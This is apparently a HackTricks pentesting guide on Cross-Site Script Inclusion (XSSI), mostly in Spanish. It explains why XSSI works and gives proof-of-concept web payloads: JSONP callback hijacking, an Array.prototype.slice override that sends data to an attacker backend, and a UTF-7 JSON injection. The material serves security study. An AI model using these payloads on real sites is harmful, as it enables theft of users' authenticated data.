XSSI (Cross-Site Script Inclusion)

Support HackTricks

Basic Information

Cross-Site Script Inclusion (XSSI) es una vulnerabilidad que surge de la naturaleza de la etiqueta script en HTML. A diferencia de la mayoría de los recursos, que están sujetos a la Same-Origin Policy (SOP), los scripts pueden ser incluidos desde diferentes dominios. Este comportamiento está destinado a facilitar el uso de bibliotecas y otros recursos alojados en diferentes servidores, pero también introduce un riesgo potencial de seguridad.

Key Characteristics of XSSI:

  • Bypass of SOP: Los scripts están exentos de la Same-Origin Policy, lo que les permite ser incluidos entre dominios.

  • Data Exposure: Un atacante puede explotar este comportamiento para leer datos cargados a través de la etiqueta script.

  • Impact on Dynamic JavaScript/JSONP: XSSI es particularmente relevante para JavaScript dinámico o JSON with Padding (JSONP). Estas tecnologías a menudo utilizan información de "autoridad ambiental" (como cookies) para la autenticación. Cuando se realiza una solicitud de script a un host diferente, estas credenciales (por ejemplo, cookies) se incluyen automáticamente en la solicitud.

  • Authentication Token Leakage: Si un atacante puede engañar al navegador de un usuario para que solicite un script de un servidor que controla, podría acceder a información sensible contenida en estas solicitudes.

Types

  1. Static JavaScript - Esta representa la forma convencional de XSSI.

  2. Static JavaScript with Authentication - Este tipo es distinto porque requiere autenticación para acceder.

  3. Dynamic JavaScript - Involucra JavaScript que genera contenido dinámicamente.

  4. Non-JavaScript - Se refiere a vulnerabilidades que no involucran JavaScript directamente.

The following information is a sumary of https://www.scip.ch/en/?labs.20160414. Check it for further details.

Regular XSSI

En este enfoque, la información privada está incrustada dentro de un archivo JavaScript accesible globalmente. Los atacantes pueden identificar estos archivos utilizando métodos como lectura de archivos, búsquedas de palabras clave o expresiones regulares. Una vez localizados, el script que contiene información privada puede ser incluido en contenido malicioso, permitiendo el acceso no autorizado a datos sensibles. A continuación se muestra una técnica de explotación de ejemplo:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI y Authenticated-JavaScript-XSSI

Estos tipos de ataques XSSI implican que información confidencial se añade dinámicamente al script en respuesta a la solicitud de un usuario. La detección se puede realizar enviando solicitudes con y sin cookies y comparando las respuestas. Si la información difiere, puede indicar la presencia de información confidencial. Este proceso se puede automatizar utilizando herramientas como la extensión de Burp DetectDynamicJS.

Si los datos confidenciales se almacenan en una variable global, se pueden explotar utilizando métodos similares a los utilizados en XSSI Regular. Sin embargo, si los datos confidenciales se incluyen en una respuesta JSONP, los atacantes pueden secuestrar la función de callback para recuperar la información. Esto se puede hacer manipulando objetos globales o configurando una función para ser ejecutada por la respuesta JSONP, como se demuestra a continuación:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Para variables que no residen en el espacio de nombres global, prototype tampering a veces puede ser explotado. Esta técnica aprovecha el diseño de JavaScript, donde la interpretación del código implica recorrer la cadena de prototipos para localizar la propiedad llamada. Al anular ciertas funciones, como Array's slice, los atacantes pueden acceder y leak variables no globales:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Más detalles sobre los vectores de ataque se pueden encontrar en el trabajo del investigador de seguridad Sebastian Lekies, quien mantiene una lista de vectores.

Non-Script-XSSI

La investigación de Takeshi Terada introduce otra forma de XSSI, donde archivos Non-Script, como CSV, son filtrados entre orígenes al ser incluidos como fuentes en una etiqueta script. Instancias históricas de XSSI, como el ataque de Jeremiah Grossman en 2006 para leer una libreta de direcciones completa de Google y la filtración de datos JSON de Joe Walker en 2007, destacan la gravedad de estas amenazas. Además, Gareth Heyes describe una variante de ataque que involucra JSON codificado en UTF-7 para escapar del formato JSON y ejecutar scripts, efectiva en ciertos navegadores:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Apoya a HackTricks

Last updated